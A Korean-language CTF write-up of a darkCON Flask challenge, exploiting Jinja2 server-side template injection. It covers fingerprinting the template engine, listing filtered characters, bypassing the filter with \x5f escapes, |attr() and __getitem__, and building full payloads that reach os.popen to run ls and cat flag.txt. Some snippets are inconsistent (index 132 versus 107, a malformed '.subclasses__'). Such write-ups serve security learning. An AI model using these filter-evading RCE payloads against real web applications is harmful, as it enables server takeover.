문제 유형
•
Server : Python-Flask
•
Vulnerability : SSTI, RCE
문제 정보 확인
특별한 내용은 존재하지 않는다.
문제 접속 시 Please enter the url !! 이라는 문자만 확인이 가능하며, 그외에 어떤 기능도 존재하지 않는다.
url을 입력하라고 해서 어디에 입력해야 되는지 많이 삽질했는데, 그냥 url 이름의 파라미터 값을 전송하면 되는것이었다. 그럼 아래와 같이 입력한 값을 사용한 메세지가 출력된다.
이 과정을 통해 SSTI 문제임을 의심하게 되었다. (사실 문제의 url에도 ssti가 적혀있다.)
취약점 분석
1. SSTI 종류 확인
SSTI 취약점은 HTML 템플릿에서 발생하는 취약점인데, 어떤 종류를 서버에서 사용하는지 확인하는 과정이 필요하다.
아래 사진처럼 검증을 거쳐 종류를 확인하는데, SSTI 문제를 몇 번 접해본 분들이라면 아래 사진이 익숙할 것이다.
•
${7*7} 입력 → 동작 실패
•
{{7*7}} 입력 → 동작 성공
•
{{7*'7'}} 입력 → 동작 성공( 7777777 값 반환 )
{{7*'7'}} 입력 시 49 가 반환되면 Twig, 7777777 이 반환되면 Jinja2 이다.
위 과정으로 Jinja2를 사용하는 것을 확인할 수 있었다.
2. 필터링 우회 확인
SSTI를 사용할 수 있지만, url 파라미터에서 필터링이 되는 문자가 존재한다. 문제의 소스코드를 확인할 수 없기 때문에 SSTI에서 자주 사용하는 문자를 넣어보며 확인하였다.
•
필터링 되는 문자 목록 (추가로 더 존재할 수 있음)
config
self
request
[
]
"
_
+
join
%
%25
Plain Text
복사
필터링되는 문자를 url 파라미터 값으로 설정하여 전송하면, 아래와 같이 필터링 되는 문자와 함께 메세지를 출력한다.
그렇다면 어떤 식으로 SSTI 필터링을 우회 할 수 있을까? 필자는 아래 사이트를 참고하여 우회 기법을 공부하였다. 개인적으로 문제와 가장 비슷한 환경의 내용인것 같다.
•
_ 우회 → \x5f 사용 , |attr('') 형태로 연결
{{''.__class__}}
-> {{''|attr('__class__')}}
-> {{''|attr('\x5f\x5fclass\x5f\x5f')}}
Plain Text
복사
•
A[i] / A()[i] 형태에서 [ , ] 문자 우회 → A.__getitem__(i) 사용
__subclass__()[107]
-> |attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)
EX)
{{''.__class__.__base__.__subclass__()[107]}}
{{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)}}
Plain Text
복사
3. PAYLOAD 작성
이 문제보단 필터링이 많지는 않았지만, PAYLOAD는 정상적으로 동작할것 같았다.
•
''.__class__.__base__.subclasses__() 으로 사용하는 클래스 전체 목록 확인
최종적으로 sys → os → RCE! 순서이기 때문에, sys 모듈을 사용하는 클래스를 사용해야 한다.
{{''.__class__.__base__.subclasses__()}}
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
Plain Text
복사
•
''.__class__.__base__.subclasses__()[i]__init__.__globals__ 로 각 클래스의 사용하는 모듈 확인
''.__class__.__base__.subclasses__()[i] 에서 [i] 값을 변경하여 클래스를 하나씩 선택할 수 있다.
''.__class__.__base__.subclasses__()[i]__init__.__globals__
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(i)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
Plain Text
복사
이전에 말한것 처럼, sys 모듈을 사용하는 클래스를 찾아야 한다. 하지만 필자는 어떤 클래스가 sys 모듈을 사용하는지 전혀 모르는 상태였다.
그래서 [i] 값을 변경하여 클래스를 변경하면서 모듈 목록이 작성된 Response 데이터에 module 'sys'(module 'sys') 값이 존재하는지 확인해보았다.
아무거나 사용해도 되지만, 필자는 132 번째 인덱스에 존재하는 클래스를 사용하겠다.
''.__class__.__base__.subclasses__()[132]__init__.__globals__
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
Plain Text
복사
•
''.__class__.__base__.subclasses__()[132]__init__.__globals__['sys'].modules['os'] 를 사용해서 RCE를 위한 os 모듈 확인
''.__class__.__base__.__subclasses__()[132].__init__.__globals__["sys"].modules["os"]
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')}}
Plain Text
복사
•
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()}} 를 사용하여 RCE 동작 후, 결과 확인하기
# ls command
''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
# cat flag.txt command
''.__class__.__base__.__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('command').read()
-> {{''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(107)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat%20flag.txt')|attr('read')()}}
Plain Text
복사
ls command
cat flag command
FLAG
darkCON{w0ww_y0u_ar3_sUp3er_h4ckeR_ggwpp_!!}